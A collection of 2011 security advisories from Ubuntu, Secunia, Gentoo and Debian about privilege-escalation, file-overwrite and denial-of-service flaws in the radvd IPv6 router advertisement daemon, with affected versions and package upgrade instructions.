1. Multiple local privilege-escalation vulnerability.
2. A local arbitrary file-overwrite vulnerability.
3. Multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. A security vulnerability exists in the 'process_ra' function in radvd 1.8.1 and earlier. ==========================================================================
Ubuntu Security Notice USN-1257-1
November 10, 2011
radvd vulnerabilities
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.10
- Ubuntu 10.04 LTS
Summary:
radvd could be made to crash or overwrite certain files if it received
specially crafted network traffic.
Software Description:
- radvd: Router Advertisement Daemon
Details:
Vasiliy Kulikov discovered that radvd incorrectly parsed the
ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected
releases should reduce the vulnerability to a denial of service. This issue
only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601)
Vasiliy Kulikov discovered that radvd incorrectly filtered interface names
when creating certain files.
(CVE-2011-3602)
Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604)
Vasiliy Kulikov discovered that radvd incorrectly handled delays when used
in unicast mode, which is not the default in Ubuntu. If used in unicast
mode, a remote attacker could cause radvd outages, resulting in a denial of
service. (CVE-2011-3605)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 11.10:
radvd 1:1.8-1ubuntu0.1
Ubuntu 11.04:
radvd 1:1.7-1ubuntu0.1
Ubuntu 10.10:
radvd 1:1.6-1ubuntu0.1
Ubuntu 10.04 LTS:
radvd 1:1.3-1.1ubuntu0.1
In general, a standard system update will make all the necessary changes.
References:
http://www.ubuntu.com/usn/usn-1257-1
CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605
Package Information:
https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1
. ----------------------------------------------------------------------
Secunia is hiring!
Find your next job here:
http://secunia.com/company/jobs/
----------------------------------------------------------------------
TITLE:
Gentoo update for radvd
SECUNIA ADVISORY ID:
SA46930
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/46930/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
RELEASE DATE:
2011-11-21
DISCUSS ADVISORY:
http://secunia.com/advisories/46930/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/46930/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Gentoo has issued an update for radvd.
For more information:
SA46200
SOLUTION:
Update to "net-misc/radvd-1.8.2" or later.
ORIGINAL ADVISORY:
GLSA 201111-08:
http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: radvd: Multiple vulnerabilities
Date: November 20, 2011
Bugs: #385967
ID: 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in radvd which could
potentially lead to privilege escalation, data loss, or a Denial of
Service.
Background
==========
radvd is an IPv6 router advertisement daemon for Linux and BSD.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/radvd < 1.8.2 >= 1.8.2
Description
===========
Multiple vulnerabilities have been discovered in radvd. Please review
the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All radvd users should upgrade to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2"
References
==========
[ 1 ] CVE-2011-3601
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601
[ 2 ] CVE-2011-3602
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602
[ 3 ] CVE-2011-3603
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603
[ 4 ] CVE-2011-3604
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604
[ 5 ] CVE-2011-3605
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201111-08.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2011 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -------------------------------------------------------------------------
Debian Security Advisory DSA-2323-1 security@debian.org
http://www.debian.org/security/ Yves-Alexis Perez
October 26, 2011 http://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : radvd
Vulnerability : several
Problem type : remote
Debian-specific: no
CVE ID : CVE-2011-3602 CVE-2011-3604 CVE-2011-3605
Debian Bug : 644614
Multiple security issues were discovered by Vasiliy Kulikov in radvd, an
IPv6 Router Advertisement daemon:
CVE-2011-3602
set_interface_var() function doesn't check the interface name, which is
chosen by an unprivileged user.
CVE-2011-3604
process_ra() function lacks multiple buffer length checks which could
lead to memory reads outside the stack, causing a crash of the daemon.
CVE-2011-3605
process_rs() function calls mdelay() (a function to wait for a defined
time) unconditionnally when running in unicast-only mode. As this call
is in the main thread, that means all request processing is delayed (for
a time up to MAX_RA_DELAY_TIME, 500 ms by default).
Note: upstream and Debian default is to use anycast mode.
For the oldstable distribution (lenny), this problem has been fixed in
version 1:1.1-3.1.
For the stable distribution (squeeze), this problem has been fixed in
version 1:1.6-1.1.
For the testing distribution (wheezy), this problem has been fixed in
version 1:1.8-1.2.
For the unstable distribution (sid), this problem has been fixed in
version 1:1.8-1.2.
We recommend that you upgrade your radvd packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
iEYEARECAAYFAk6q2QcACgkQXm3vHE4uylqlEQCgpdFwHzpKLF6KHlJs4y/ykeo/
oEYAniJXFaff25pMtXzM6Ovu8zslZm7H
=VfHu
-----END PGP SIGNATURE-----
|